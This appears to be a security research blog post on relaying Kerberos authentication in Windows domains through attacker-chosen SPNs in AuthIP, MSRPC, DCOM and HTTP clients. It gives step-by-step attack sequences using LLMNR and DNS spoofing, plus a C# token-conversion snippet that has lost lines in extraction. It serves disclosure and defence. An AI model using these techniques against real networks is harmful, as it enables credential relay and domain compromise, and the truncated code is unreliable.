The obvious question is, if NTLM is disabled could you relay Kerberos authentication instead? Searching for Kerberos Relay attacks doesn't yield much public research that I could find. There is the krbrelayx tool written by Dirk-jan which is similar in concept to the ntlmrelayx tool in impacket, a common tool for performing NTLM authentication relay attacks. However as the accompanying blog post makes clear this is a tool to abuse unconstrained delegation rather than relay the authentication.

I did find a recent presentation by Sagi Sheinfeld, Eyal Karni, Yaron Zinar from Crowdstrike at Defcon 29 (and also coming up at Blackhat EU 2021) which relayed Kerberos authentication. The presentation discussed MitM network traffic to specific servers, then relaying the Kerberos authentication. A MitM attack relies on being able to spoof an existing server through some mechanism, which is a well known risk.  The last line in the presentation is "Microsoft Recommendation: Avoid being MITM’d…" which seems a reasonable approach to take if possible.

However a MitM attack is slightly different to the common NTLM relay attack scenario where you can induce a domain joined system to authenticate to a server an attacker controls and then forward that authentication to an unrelated service. NTLM is easy to relay as it wasn't designed to distinguish authentication to a particular service from any other. The only unique aspect was the server (and later client) challenge but that value wasn't specific to the service and so authentication for say SMB could be forwarded to HTTP and the victim service couldn't tell the difference. Subsequently EPA has been retrofitted onto NTLM to make the authentication specific to a service, but due to backwards compatibility these mitigations aren't always used.

On the other hand Kerberos has always required the target of the authentication to be specified beforehand through a principal name, typically this is a Service Principal Name (SPN) although in certain circumstances it can be a User Principal Name (UPN). The SPN is usually represented as a string of the form CLASS/INSTANCE:PORT/NAME, where CLASS is the class of service, such as HTTP or CIFS, INSTANCE is typically the DNS name of the server hosting the service and PORT and NAME are optional.

The SPN is used by the Kerberos Ticket Granting Server (TGS) to select the shared encryption key for a Kerberos service ticket generated for the authentication. This ticket contains the details of the authenticating user based on the contents of the Ticket Granting Ticket (TGT) that was requested during the user's initial Kerberos authentication process. The client can then package the service's ticket into an Authentication Protocol Request (AP_REQ) authentication token to send to the server.

Without knowledge of the shared encryption key the Kerberos service ticket can't be decrypted by the service and the authentication fails. Therefore if Kerberos authentication is attempted to an SMB service with the SPN CIFS/fileserver.domain.com, then that ticket shouldn't be usable if the relay target is a HTTP service with the SPN HTTP/fileserver.domain.com, as the shared key should be different.

In practice that's rarely the case in Windows domain networks. The Domain Controller associates the SPN with a user account, most commonly the computer account of the domain joined server and the key is derived from the account's password. The CIFS/fileserver.domain.com and HTTP/fileserver.domain.com SPNs would likely be assigned to the FILESERVER$ computer account, therefore the shared encryption key will be the same for both SPNs and in theory the authentication could be relayed from one service to the other. The receiving service could query for the authenticated SPN string from the authentication APIs and then compare it to its expected value, but this check is typically optional.

The selection of the SPN to use for the Kerberos authentication is typically defined by the target server's host name. In a relay attack the attacker's server will not be the same as the target. For example, the SMB connection might be targeting the attacker's server, and will assign the SPN CIFS/evil.com. Assuming this SPN is even registered it would in all probability have a different shared encryption key to the CIFS/fileserver.domain.com SPN due to the different computer accounts. Therefore relaying the authentication to the target SMB service will fail as the ticket can't be decrypted.

The requirement that the SPN is associated with the target service's shared encryption key is why I assume few consider Kerberos relay attacks to be a major risk, if not impossible. There's an assumption that an attacker cannot induce a client into generating a service ticket for an SPN which differs from the host the client is connecting to.

However, there's nothing inherently stopping Kerberos authentication being relayed if the attacker can control the SPN. The only way to stop relayed Kerberos authentication is for the service to protect itself through the use of signing/sealing or channel binding which rely on the shared knowledge between the client and server, but crucially not the attacker relaying the authentication. However, even now these service protections aren't the default even on critical protocols such as LDAP.

As the only limit on basic Kerberos relay (in the absence of service protections) is the selection of the SPN, this research focuses on how common protocols select the SPN and whether it can be influenced by the attacker to achieve Kerberos authentication relay.

Kerberos Relay Requirements

It's easy to demonstrate in a controlled environment that Kerberos relay is possible. We can write a simple client which uses the Security Support Provider Interface (SSPI) APIs to communicate with the LSA and implement the network authentication. This client calls the InitializeSecurityContext API which will generate an AP_REQ authentication token containing a Kerberos Service Ticket for an arbitrary SPN. This AP_REQ can be forwarded to an intermediate server and then relayed to the service the SPN represents. You'll find this will work, again to reiterate, assuming that no service protections are in place.

However, there are some caveats in the way a client calls InitializeSecurityContext which will impact how useful the generated AP_REQ is even if the attacker can influence the SPN. If the client specifies any one of the following request flags, ISC_REQ_CONFIDENTIALITY, ISC_REQ_INTEGRITY, ISC_REQ_REPLAY_DETECT or ISC_REQ_SEQUENCE_DETECT then the generated AP_REQ will enable encryption and/or integrity checking. When the AP_REQ is received by the server using the AcceptSecurityContext API it will return a set of flags which indicate if the client enabled encryption or integrity checking. Some services use these returned flags to opportunistically enable service protections.

For example LDAP's default setting is to enable signing/encryption if the client supports it. Therefore you shouldn't be able to relay Kerberos authentication to LDAP if the client enabled any of these protections. However, other services such as HTTP don't typically support signing and sealing and so will happily accept authentication tokens which specify the request flags.

Another caveat is the client could specify channel binding information, typically derived from the certificate used by the TLS channel used in the communication. The channel binding information can be controlled by the attacker, but not set to arbitrary values without a bug in the TLS implementation or the code which determines the channel binding information itself.

While services have an option to only enable channel binding if it's supported by the client, all Windows Kerberos AP_REQ tokens indicate support through the KERB_AP_OPTIONS_CBT options flag in the authenticator. Sagi Sheinfeld et al did demonstrate (see slide 22 in their presentation) that if you can get the AP_REQ from a non-Windows source it will not set the options flag and so no channel binding is enforced, but that was apparently not something Microsoft will fix. It is also possible that a Windows client disables channel binding through a registry configuration option, although that seems to be unlikely in real world networks.

If the client specifies the ISC_REQ_MUTUAL_AUTH request flag when generating the initial AP_REQ it will enable mutual authentication between the client and server. The client expects to receive an Authentication Protocol Response (AP_REP) token from the server after sending the AP_REQ to prove it has possession of the shared encryption key. If the server doesn't return a valid AP_REP the client can assume it's a spoofed server and refuse to continue the communication.

From a relay perspective, mutual authentication doesn't really matter as the server is the target of the relay attack, not the client. The target server will assume the authentication has completed once it's accepted the AP_REQ, so that's all the attacker needs to forward. While the server will generate the AP_REP and return it to the attacker they can just drop it unless they need the relayed client to continue to participate in the communication for some reason.

One final consideration is that the SSPI APIs have two security packages which can be used to implement Kerberos authentication, Negotiate and Kerberos. The Negotiate protocol wraps the AP_REQ (and other authentication tokens) in the SPNEGO protocol whereas Kerberos sends the authentication tokens using a simple GSS-API wrapper (see RFC4121).

The first potential issue is Negotiate is by far the most likely package in use as it allows a network protocol the flexibility to use the most appropriate authentication protocol that the client and server both support. However, what happens if the client uses the raw Kerberos package but the server uses Negotiate?

This isn't a problem as the server implementation of Negotiate will pass the input token to the function NegpDetermineTokenPackage in lsasrv.dll during the first call to AcceptSecurityContext. This function detects if the client has passed a GSS-API Kerberos token (or NTLM) and enables a pass through mode where Negotiate gets out of the way. Therefore even if the client uses the Kerberos package you can still authenticate to the server and keep the client happy without having to extract the inner authentication token or wrap up response tokens.

One actual issue for relaying is the Negotiate protocol enables integrity protection (equivalent to passing ISC_REQ_INTEGRITY to the underlying package) so that it can generate a Message Integrity Code (MIC) for the authentication exchange to prevent tampering. Using the Kerberos package directly won't add integrity protection automatically. Therefore relaying Kerberos AP_REQs from Negotiate will likely hit issues related to automatic enabling of signing on the server. It is possible for a client to explicitly disable automatic integrity checking by passing the ISC_REQ_NO_INTEGRITY request attribute, but that's not a common case.

It's possible to disable Negotiate from the relay if the client passes an arbitrary authentication token to the first call of the InitializeSecurityContext API. On the first call the Negotiate implementation will call the NegpDetermineTokenPackage function to determine whether to enable authentication pass through. If the initial token is NTLM or looks like a Kerberos token then it'll pass through directly to the underlying security package and it won't set ISC_REQ_INTEGRITY, unless the client explicitly requested it. The byte sequence [0x00, 0x01, 0x40] is sufficient to get Negotiate to detect Kerberos, and the token is then discarded so it doesn't have to contain any further valid data.

Sniffing and Proxying Traffic

Before going into individual protocols that I've researched, it's worth discussing some more obvious ways of getting access to Kerberos authentication targeted at other services. First is sniffing network traffic sent from client to the server. For example, if the Kerberos AP_REQ is sent to a service over an unencrypted network protocol and the attacker can view that traffic the AP_REQ could be extracted and relayed. The selection of the SPN will be based on the expected traffic so the attacker doesn't need to do anything to influence it.

The Kerberos authentication protocol has protections against this attack vector. The Kerberos AP_REQ doesn't just contain the service ticket, it's also accompanied by an Authenticator which is encrypted using the ticket's session key. This key is accessible by both the legitimate client and the service. The authenticator contains a timestamp of when it was generated, and the service can check if this authenticator is within an allowable time range and whether it has seen the timestamp already. This allows the service to reject replayed authenticators by caching recently received values, and the allowable time window prevents the attacker waiting for any cache to expire before replaying.

What this means is that while an attacker could sniff the Kerberos authentication on the wire and relay it, if the service has already received the authenticator it would be rejected as being a replay. The only way to exploit it would be to somehow prevent the legitimate authentication request from reaching the service, or race the request so that the attacker's packet is processed first.

Note, RFC4120 mentions the possibility of embedding the client's network address in the authenticator so that the service could reject authentication coming from the wrong host. This isn't used by the Windows Kerberos implementation as far as I can tell. No doubt it would cause too many false positives for the replay protection in anything but the simplest enterprise networks.

Therefore the only reliable way to exploit this scenario would be to actively interpose on the network communications between the client and service. This is of course practical and has been demonstrated many times assuming the traffic isn't protected using something like TLS with server verification. Various attacks would be possible such as ARP or DNS spoofing attacks or HTTP proxy redirection to perform the interposition of the traffic.

However, active MitM of protocols is a known risk and therefore an enterprise might have technical defenses in place to mitigate the issue. Of course, if such enterprises have enabled all the recommended relay protections,it's a moot point. Regardless, we'll assume that MitM is impractical for existing services due to protections in place and consider how individual protocols handle SPN selection.

IPSec and AuthIP

My research into Kerberos authentication relay came about in part because I was looking into the implementation of IPSec on Windows as part of my firewall research. Specifically I was researching the AuthIP ISAKMP which allows for Windows authentication protocols to be used to establish IPsec Security Associations.

I noticed that the AuthIP protocol has a GSS-ID payload which can be sent from the server to the client. This payload contains the textual SPN to use for the Kerberos authentication during the AuthIP process. This SPN is passed verbatim to the SSPI InitializeSecurityContext call by the AuthIP client.

As no verification is done on the format of the SPN in the GSS-ID payload, it allows the attacker to fully control the values including the service class and instance name. Therefore if an attacker can induce a domain joined machine to connect to an attacker controlled service and negotiate AuthIP then a Kerberos AP_REQ for an arbitrary SPN can be captured for relay use. As this AP_REQ is never sent to the target of the SPN it will not be detected as a replay.

Inducing authentication isn't necessarily difficult. Any IP traffic which is covered by the domain configured security connection rules will attempt to perform AuthIP. For example it's possible that a UDP response for a DNS request from the domain controller might be sufficient. AuthIP supports two authenticated users, the machine and the calling user. By default it seems the machine authenticates first, so if you convinced a Domain Controller to authenticate you'd get the DC computer account which could be fairly exploitable.

For interest's sake, the SPN is also used to determine the computer account associated with the server. This computer account is then used with Service For User (S4U) to generate a local access token allowing the client to determine the identity of the server. However I don't think this is that useful as the fake server can't complete the authentication and the connection will be discarded.

The security connection rules use IP address ranges to determine what hosts need IPsec authentication. If these address ranges are too broad it's also possible that ISAKMP AuthIP traffic might leak to external networks. For example if the rules don't limit the network ranges to the enterprise's addresses, then even a connection out to a public service could be accompanied by the ISAKMP AuthIP packet. This can be then exploited by an attacker who is not co-located on the enterprise network just by getting a client to connect to their server, such as through a web URL.

Diagram of a relay using a fake AuthIP server

To summarize the attack process from the diagram:

  1. Induce a client computer to send some network traffic to EVILHOST. It doesn't really matter what the traffic is, only that the IP address, type and port must match an IP security connection rule to use AuthIP. EVILHOST does not need to be domain joined to perform the attack.
  2. The network traffic will get the Windows IPsec client to try and establish a security association with the target host.
  3. A fake AuthIP server on the target host receives the request to establish a security association and returns a GSS-ID payload. This payload contains the target SPN, for example CIFS/FILESERVER.
  4. The IPsec client uses the SPN to create an AP_REQ token and sends it to EVILHOST.
  5. EVILHOST relays the Kerberos AP_REQ to the target service on FILESERVER.

Relaying this AuthIP authentication isn't ideal from an attacker's perspective. As the authentication will be used to sign and seal the network traffic, the request context flags for the call to InitializeSecurityContext will require integrity and confidentiality protection. For network protocols such as LDAP which default to requiring signing and sealing if the client supports it, this would prevent the relay attack from working. However if the service ignores the protection and doesn't have any further checks in place this would be sufficient.

This issue was reported to MSRC and assigned case number 66900. However Microsoft have indicated that it will not be fixed with a security bulletin. I've described Microsoft's rationale for not fixing this issue later in the blog post. If you want to reproduce this issue there's details on Project Zero's issue tracker.


After discovering that AuthIP could allow for authentication relay the next protocol I looked at is MSRPC. The protocol supports NTLM, Kerberos or Negotiate authentication protocols over connected network transports such as named pipes or TCP. These authentication protocols need to be opted into by the server using the RpcServerRegisterAuthInfo API by specifying the authentication service constants of RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_KERBEROS or RPC_C_AUTHN_GSS_NEGOTIATE respectively. When registering the authentication information the server can optionally specify the SPN that needs to be used by the client.

However, this SPN isn't actually used by the RPC server itself. Instead it's registered with the runtime, and a client can query the server's SPN using the RpcMgmtInqServerPrincName management API. Once the SPN is queried the client can configure its authentication for the connection using the RpcBindingSetAuthInfo API. However, this isn't required; the client could just generate the SPN manually and set it. If the client doesn't call RpcBindingSetAuthInfo then it will not perform any authentication on the RPC connection.

Aside, curiously when a connection is made to the server it can query the client's authentication information using the RpcBindingInqAuthClient API. However, the SPN that this API returns is the one registered by RpcServerRegisterAuthInfo and NOT the one which was used by the client to authenticate. Also Microsoft does mention the call to RpcMgmtInqServerPrincName in the "Writing a secure RPC client or server" section on MSDN. However they frame it in the context of mutual authentication and not to protect against a relay attack.

If a client queries for the SPN from a malicious RPC server it will authenticate using a Kerberos AP_REQ for an SPN fully under the attacker's control. Whether the AP_REQ has integrity or confidentiality enabled depends on the authentication level set during the call to RpcBindingSetAuthInfo. If this is set to RPC_C_AUTHN_LEVEL_CONNECT and the client uses RPC_C_AUTHN_GSS_KERBEROS then the AP_REQ won't have integrity enabled. However, if Negotiate is used or anything above RPC_C_AUTHN_LEVEL_CONNECT as a level is used then it will have the integrity/confidentiality flags set.

Doing a quick scan in system32 the following DLLs call the RpcMgmtInqServerPrincName API: certcli.dll, dot3api.dll, dusmsvc.dll, FrameServerClient.dll, L2SecHC.dll, luiapi.dll, msdtcprx.dll, nlaapi.dll, ntfrsapi.dll, w32time.dll, WcnApi.dll, WcnEapAuthProxy.dll, WcnEapPeerProxy.dll, witnesswmiv2provider.dll, wlanapi.dll, wlanext.exe, WLanHC.dll, wlanmsm.dll, wlansvc.dll, wwansvc.dll, wwapi.dll. Some basic analysis shows that none of these clients check the value of the SPN and use it verbatim with RpcBindingSetAuthInfo. That said, they all seem to use RPC_C_AUTHN_GSS_NEGOTIATE and set the authentication level to RPC_C_AUTHN_LEVEL_PKT_PRIVACY which makes them less useful as an attack vector.

If the client specifies RPC_C_AUTHN_GSS_NEGOTIATE but does not specify an SPN then the runtime generates one automatically. This is based on the target hostname with the RestrictedKrbHost service class. The runtime doesn't process the hostname, it just concatenates strings and for some reason the runtime doesn't support generating the SPN for RPC_C_AUTHN_GSS_KERBEROS.

One additional quirk of the RPC runtime is that the request attribute flag ISC_REQ_USE_DCE_STYLE is used when calling InitializeSecurityContext. This enables a special three-leg authentication mode which results in the server sending back an AP_RET and then receiving another AP_RET from the client. Until that third AP_RET has been provided to the server it won't consider the authentication complete so it's not sufficient to just forward the initial AP_REQ token and close the connection to the client. This just makes the relay code slightly more complex but not impossible.

A second change that ISC_REQ_USE_DCE_STYLE introduces is that the Kerberos AP_REQ token does not have an GSS-API wrapper. This causes the call to NegpDetermineTokenPackage to fail to detect the package in use, making it impossible to directly forward the traffic to a server using the Negotiate package. However, this prefix is not protected against modification so the relay code can append the appropriate value before forwarding to the server. For example the following C# code can be used to convert a DCE style AP_REQ to a GSS-API format which Negotiate will accept.

public static byte[] EncodeLength(int length)


    if (length < 0x80)

        return new byte[] { (byte)length };

    if (length < 0x100)

        return new byte[] { 0x81, (byte)length };

    if (length < 0x10000)

        return new byte[] { 0x82, (byte)(length >> 8),

                            (byte)(length & 0xFF) };

    throw new ArgumentException("Invalid length", nameof(length));


public static byte[] ConvertApReq(byte[] token)


    if (token.Length == 0 || token[0] != 0x6E)

        return token;

    MemoryStream stm = new MemoryStream();

    BinaryWriter writer = new BinaryWriter(stm);

    Console.WriteLine("Converting DCE AP_REQ to GSS-API format.");

    byte[] header = new byte[] { 0x06, 0x09, 0x2a, 0x86, 0x48,

       0x86, 0xf7, 0x12, 0x01, 0x02, 0x02, 0x01, 0x00 };


    writer.Write(EncodeLength(header.Length + token.Length));



    return stm.ToArray();


Subsequent tokens in the authentication process don't need to be wrapped; in fact, wrapping them with their GSS-API headers will cause the authentication to fail. Relaying MSRPC requests would probably be difficult just due to the relative lack of clients which request the server's SPN. Also when the SPN is requested it tends to be a conscious act of securing the client and so best practice tends to require the developer to set the maximum authentication level, making the Kerberos AP_REQ less useful.


The DCOM protocol uses MSRPC under the hood to access remote COM objects, therefore it should have the same behavior as MSRPC. The big difference is DCOM is designed to automatically handle the authentication requirements of a remote COM object through binding information contained in the DUALSTRINGARRAY returned during Object Exporter ID (OXID) resolving. Therefore the client doesn't need to explicitly call RpcBindingSetAuthInfo to configure the authentication.

The binding information contains the protocol sequence and endpoint to use (such as TCP on port 30000) as well as the security bindings. Each security binding contains the RPC authentication service (wAuthnSvc in the below screenshot) to use as well as an optional SPN (aPrincName) for the authentication. Therefore a malicious DCOM server can force the client to use the RPC_C_AUTHN_GSS_KERBEROS authentication service with a completely arbitrary SPN by returning an appropriate security binding.

Screenshot of part of the MS-DCOM protocol documentation showing the SECURITYBINDING structure

The authentication level chosen by the client depends on the value of the dwAuthnLevel parameter specified if the COM client calls the CoInitializeSecurity API. If the client doesn't explicitly call CoInitializeSecurity then a default will be used which is currently RPC_C_AUTHN_LEVEL_CONNECT. This means neither integrity or confidentiality will be enforced on the Kerberos AP_REQ by default.

One limitation is that without a call to CoInitializeSecurity, the default impersonation level for the client is set to RPC_C_IMP_LEVEL_IDENTIFY. This means the access token generated by the DCOM RPC authentication can only be used for identification and not for impersonation. For some services this isn't an issue, for example LDAP doesn't need an impersonation level token. However for others such as SMB this would prevent access to files. It's possible that you could find a COM client which sets both RPC_C_AUTHN_LEVEL_CONNECT and RPC_C_IMP_LEVEL_IMPERSONATE though there's no trivial process to assess that.

Getting a client to connect to the server isn't trivial as DCOM isn't a widely used protocol on modern Windows networks due to high authentication requirements. However, one use case for this is local privilege escalation. For example you could get a privileged service to connect to the malicious COM server and relay the computer account Kerberos AP_REQ which is generated. I have a working PoC for this which allows a local non-admin user to connect to the domain's LDAP server using the local computer's credentials.

This attack is somewhat similar to the RemotePotato attack (which uses NTLM rather than Kerberos) which again Microsoft have refused to fix. I'll describe this in more detail in a separate blog post after this one.


HTTP has supported NTLM and Negotiate authentication for a long time (see this draft from 2002 although the most recent RFC is 4559 from 2006). To initiate a Windows authentication session the server can respond to a request with the status code 401 and specify a WWW-Authenticate header with the value Negotiate. If the client supports Windows authentication it can use InitializeSecurityContext to generate a token, convert the binary token into a Base64 string and send it in the next request to the server with the Authorization header. This process is repeated until the client errors or the authentication succeeds.

In theory only NTLM and Negotiate are defined but a HTTP implementation could use other Windows authentication packages such as Kerberos if it so chose to. Whether the HTTP client will automatically use the user's credentials is up to the user agent or the developer using it as a library.

All the major browsers support both authentication types as well as many non browser HTTP user agents such as those in .NET and WinHTTP. I looked at the following implementations, all running on Windows 10 21H1:

  • WinINET (Internet Explorer 11)
  • WinHTTP (WebClient)
  • Chromium M93 (Chrome and Edge)
  • Firefox 91
  • .NET Framework 4.8
  • .NET 5.0 and 6.0

This is of course not an exhaustive list, and there's likely to be many different HTTP clients in Windows which might have different behaviors. I've also not looked at how non-Windows clients work in this regard.

There's two important behaviors that I wanted to assess with HTTP. First is how the user agent determines when to perform automatic Windows authentication using the current user's credentials. In order to relay the authentication it can't ask the user for their credentials. And second we want to know how the SPN is selected by the user agent when calling InitializeSecurityContext.

WinINET (Internet Explorer 11)

WinINET can be used as a generic library to handle HTTP connections and authentication. There's likely many different users of WinINET but we'll just look at Internet Explorer 11 as that is what it's most known for. WinINET is also the originator of HTTP Negotiate authentication, so it's good to get a baseline of what WinINET does in case other libraries just copied its behavior.

First, how does WinINET determine when it should handle Windows authentication automatically? By default this is based on whether the target host is considered to be in the Intranet Zone. This means any host which bypasses the configured HTTP proxy or uses an undotted name will be considered Intranet zone and WinINET will automatically authenticate using the current user's credentials.

It's possible to disable this behavior by changing the security options for the Intranet Zone to "Prompt for user name and password", as shown below:

Screenshot of the system Internet Options Security Settings showing how to disable automatic authentication

Next, how does WinINET determine the SPN to use for Negotiate authentication? RFC4559 says the following:

'When the Kerberos Version 5 GSSAPI mechanism [RFC4121] is being used, the HTTP server will be using a principal name of the form of "HTTP/hostname"'

You might assume therefore that the HTTP URL that WinINET is connecting to would be sufficient to build the SPN: just use the hostname as provided and combine with the HTTP service class. However it turns out that's not entirely the case. I found a rough description of how IE and WinINET actually generate the SPN in this blog. This blog post is over 10 years old so it was possible that things have changed, however it turns out to not be the case.

The basic approach is that WinINET doesn't necessarily trust the hostname specified in the HTTP URL. Instead it requests the canonical name of the server via DNS. It doesn't seem to explicitly request a CNAME record from the DNS server. Instead it calls getaddrinfo and specifies the AI_CANONNAME hint. Then it uses the returned value of ai_canonname and prefixes it with the HTTP service class. In general ai_canonname is the name provided by the DNS server in the returned A/AAAA record.

For example, if the HTTP URL is http://fileserver.domain.com, but the DNS A record contains the canonical name example.domain.com the generated SPN is HTTP/example.domain.com and not HTTP/fileserver.domain.com. Therefore to provide an arbitrary SPN you need to get the name in the DNS address record to differ from the IP address in that record so that IE will connect to a server we control while generating Kerberos authentication for a different target name.

The most obvious technique would be to specify a DNS CNAME record which redirects to another hostname. However, at least if the client is using a Microsoft DNS server (which is likely for a domain environment) then the CNAME record is not directly returned to the client. Instead the DNS server will perform a recursive lookup, and then return the CNAME along with the validated address record to the client.

Therefore, if an attacker sets up a CNAME record for www.evil.com, which redirects to fileserver.domain.com the DNS server will return the CNAME record and an address record for the real IP address of fileserver.domain.com. WinINET will try to connect to the HTTP service on fileserver.domain.com rather than www.evil.com which is what is needed for the attack to function.

I tried various ways of tricking the DNS client into making a direct request to a DNS server I controlled but I couldn't seem to get it to work. However, it turns out there is a way to get the DNS resolver to accept arbitrary DNS responses, via local DNS resolution protocols such as Multicast DNS (MDNS) and Link-Local Multicast Name Resolution (LLMNR).

These two protocols use a lightly modified DNS packet structure, so you can return a response to the name resolution request with an address record with the IP address of the malicious web server, but the canonical name of any server. WinINET will then make the HTTP connection to the malicious web server but construct the SPN for the spoofed canonical name. I've verified this with LLMNR and in theory MDNS should work as well.

Is spoofing the canonical name a bug in the Windows DNS client resolver? I don't believe any DNS protocol requires the query name to exactly match the answer name. If the DNS server has a CNAME record for the queried host then there's no obvious requirement for it to return that record when it could just return the address record. Of course if a public DNS server could spoof a host for a DNS zone which it didn't control, that'd be a serious security issue. It's also worth noting that this doesn't spoof the name generally. As the cached DNS entry on Windows is based on the query name, if the client now resolves fileserver.domain.com a new DNS request will be made and the DNS server would return the real address.

Attacking local name resolution protocols is a well known weakness abused for MitM attacks, so it's likely that some security conscious networks will disable the protocols. However, the advantage of using LLMNR this way over its use for MitM is that the resolved name can be anything. As in, normally you'd want to spoof the DNS name of an existing host, in our example you'd spoof the request for the fileserver name. But for registered computers on the network the DNS client will usually satisfy the name resolution via the network's DNS server before ever trying local DNS resolution. Therefore local DNS resolution would never be triggered and it wouldn't be possible to spoof it. For relaying Kerberos authentication we don't care, you can induce a client to connect to an unregistered host name which will fallback to local DNS resolution.

The big problem with the local DNS resolution attack vector is that the attacker must be in the same multicast domain as the victim computer. However, the attacker can still start the process by getting a user to connect to an external domain which looks legitimate then redirect to an undotted name to both force automatic authentication and local DNS resolving.

Diagram of the local DNS resolving attack against WinINET

To summarize the attack process as shown in the above diagram:

  1. The attacker sets up an LLMNR service on a machine in the same multicast domain at the victim computer. The attacker listens for a target name request such as EVILHOST.
  2. Trick the victim to use IE (or another WinINET client, such as via a document format like DOCX) to connect to the attacker's server on http://EVILHOST.
  3. The LLMNR server receives the lookup request and responds by setting the address record's hostname to the SPN target host to spoof and the IP address to the attacker-controlled server.
  4. The WinINET client extracts the spoofed canonical name, appends the HTTP service class to the SPN and requests the Kerberos service ticket. This Kerberos ticket is then sent to the attacker's HTTP service.
  5. The attacker receives the Negotiate/Kerberos authentication for the spoofed SPN and relays it to the real target server.

An example LLMNR response decoded by Wireshark for the name evilhost (with IP address, spoofing fileserver.domain.com (which is not address is shown below:

Link-local Multicast Name Resolution (response)

    Transaction ID: 0x910f

    Flags: 0x8000 Standard query response, No error

    Questions: 1

    Answer RRs: 1

    Authority RRs: 0

    Additional RRs: 0


        evilhost: type A, class IN

            Name: evilhost

            [Name Length: 8]

            [Label Count: 1]

            Type: A (Host Address) (1)

            Class: IN (0x0001)


        fileserver.domain.com: type A, class IN, addr

            Name: fileserver.domain.com

            Type: A (Host Address) (1)

            Class: IN (0x0001)

            Time to live: 1 (1 second)

            Data length: 4


You might assume that the SPN always having the HTTP service class would be a problem. However, the Active Directory default SPN mapping will map HTTP to the HOST service class which is always registered. Therefore you can target any domain joined system without needing to register an explicit SPN. As long as the receiving service doesn't then verify the SPN it will work to authenticate to the computer account, which is used by privileged services. You can use the following PowerShell script to list all the configured SPN mappings in a domain.

PS> $base_dn = (Get-ADRootDSE).configurationNamingContext

PS> $dn = "CN=Directory Service,CN=Windows NT,CN=Services,$base_dn"

PS> (Get-ADObject $dn -Properties sPNMappings).sPNMappings

One interesting behavior of WinINET is that it always requests Kerberos delegation, although that will only be useful if the SPN's target account is registered for delegation. I couldn't convince WinINET to default to a Kerberos only mode; sending back a WWW-Authenticate: Kerberos header causes the authentication process to stop. This means the Kerberos AP_REQ will always have Integrity enabled even though the user agent doesn't explicitly request it.

Another user of WinINET is Office. For example you can set a template located on an HTTP URL which will generate local Windows authentication if in the Intranet zone just by opening a Word document. This is probably a good vector for getting the authentication started rather than relying on Internet Explorer being available.

WinINET does have some feature controls which can be enabled on a per-executable basis which affect the behavior of the SPN lookup process, specifically FEATURE_USE_CNAME_FOR_SPN_KB911149 and

FEATURE_ALWAYS_USE_DNS_FOR_SPN_KB3022771. However these only seem to come into play if the HTTP connection is being proxied, which we're assuming isn't the case.

WinHTTP (WebDAV WebClient)

The WinHTTP library is an alternative to using WinINET in a client application. It's a cleaner API and doesn't have the baggage of being used in Internet Explorer. As an example client I chose to use the built-in WebDAV WebClient service because it gives the interesting property that it converts a UNC file name request into a potentially exploitable HTTP request. If the WebClient service is installed and running then opening a file of the form \\EVIL\abc will cause an HTTP request to be sent out to a server under the attacker's control.

From what I can tell the behavior of WinHTTP when used with the WebClient service is almost exactly the same as for WinINET. I could exploit the SPN generation through local DNS resolution, but not from a public DNS name record. WebDAV seems to consider undotted names to be Intranet zone, however the default for WinHTTP seems to depend on whether the connection would bypass the proxy. The automatic authentication decision is based on the value of the WINHTTP_OPTION_AUTOLOGON_POLICY policy.

At least as used with WebDAV WinHTTP handles a WWW-Authenticate header of Kerberos, however it ends up using the Negotiate package regardless and so Integrity will always be enabled. It also enables Kerberos delegation automatically like WinINET.

Chromium M93

Chromium based browsers such as Chrome and Edge are open source so it's a bit easier to check the implementation. By default Chromium will automatically authenticate to intranet zone sites, it uses the same Internet Security Manager used by WinINET to make the zone determination in URLSecurityManagerWin::CanUseDefaultCredentials. An administrator can set GPOs to change this behavior to only allow automatic authentication to a set of hosts.

The SPN is generated in HttpAuthHandlerNegotiate::CreateSPN which is called from HttpAuthHandlerNegotiate::DoResolveCanonicalNameComplete. While the documentation for CreateSPN mentions it's basically a copy of the behavior in IE, it technically isn't. Instead of taking the canonical name from the initial DNS request it does a second DNS request, and the result of that is used to generate the SPN.

This second DNS request is important as it means that we now have a way of exploiting this from a public DNS name. If you set the TTL of the initial host DNS record to a very low value, then it's possible to change the DNS response between the lookup for the host to connect to and the lookup for the canonical name to use for the SPN.

This will also work with local DNS resolution as well, though in that case the response doesn't need to be switched as one response is sufficient. This second DNS lookup behavior can be disabled with a GPO. If this is disabled then neither local DNS resolution nor public DNS will work as Chromium will use the host specified in the URL for the SPN.

In a domain environment where the Chromium browser is configured to only authenticate to Intranet sites we can abuse the fact that by default authenticated users can add new DNS records to the Microsoft DNS server through LDAP (see this blog post by Kevin Robertson). Using the domain's DNS server is useful as the DNS record could be looked up using a short Intranet name rather than a public DNS name meaning it's likely to be considered a target for automatic authentication.

One problem with using LDAP to add the DNS record is the time before the DNS server will refresh its records is at least 180 seconds. This would make it difficult to switch the response from a normal address record to a CNAME record in a short enough time frame to be useful. Instead we can add an NS record to the DNS server which forwards the lookup to our own DNS server. As long as the TTL for the DNS response is short the domain's DNS server will rerequest the record and we can return different responses without any waiting for the DNS server to update from LDAP. This is very similar to DNS rebinding attack, except instead of swapping the IP address, we're swapping the canonical name.

Diagram of two DNS request attack against Chromium

Therefore a working exploit as shown in the diagram would be the following:

  1. Register an NS record with the DNS server for evilhost.domain.com using existing authenticated credentials via LDAP. Wait for the DNS server to pick up the record.
  2. Direct the browser to connect to http://evilhost. This allows Chromium to automatically authenticate as it's an undotted Intranet host. The browser will lookup evilhost.domain.com by adding its primary DNS suffix.
  3. This request goes to the client's DNS server, which then follows the NS record and performs a recursive query to the attacker's DNS server.
  4. The attacker's DNS server returns a normal address record for their HTTP server with a very short TTL.
  5. The browser makes a request to the HTTP server, at this point the attacker delays the response long enough for the cached DNS request to expire. It can then return a 401 to get the browser to authenticate.
  6. The browser makes a second DNS lookup for the canonical name. As the original request has expired, another will be made for evilhost.domain.com. For this lookup the attacker returns a CNAME record for the fileserver.domain.com target. The client's DNS server will look up the IP address for the CNAME host and return that.
  7. The browser will generate the SPN based on the CNAME record and that'll be used to generate the AP_REQ, sending it to the attacker's HTTP server.
  8. The attacker can relay the AP_REQ to the target server.

It's possible that we can combine the local and public DNS attack mechanisms to only need one DNS request. In this case we could set up an NS record to our own DNS server and get the client to resolve the hostname. The client's DNS server would do a recursive query, and at this point our DNS server shouldn't respond immediately. We could then start a classic DNS spoofing attack to return a DNS response packet directly to the client with the spoofed address record.

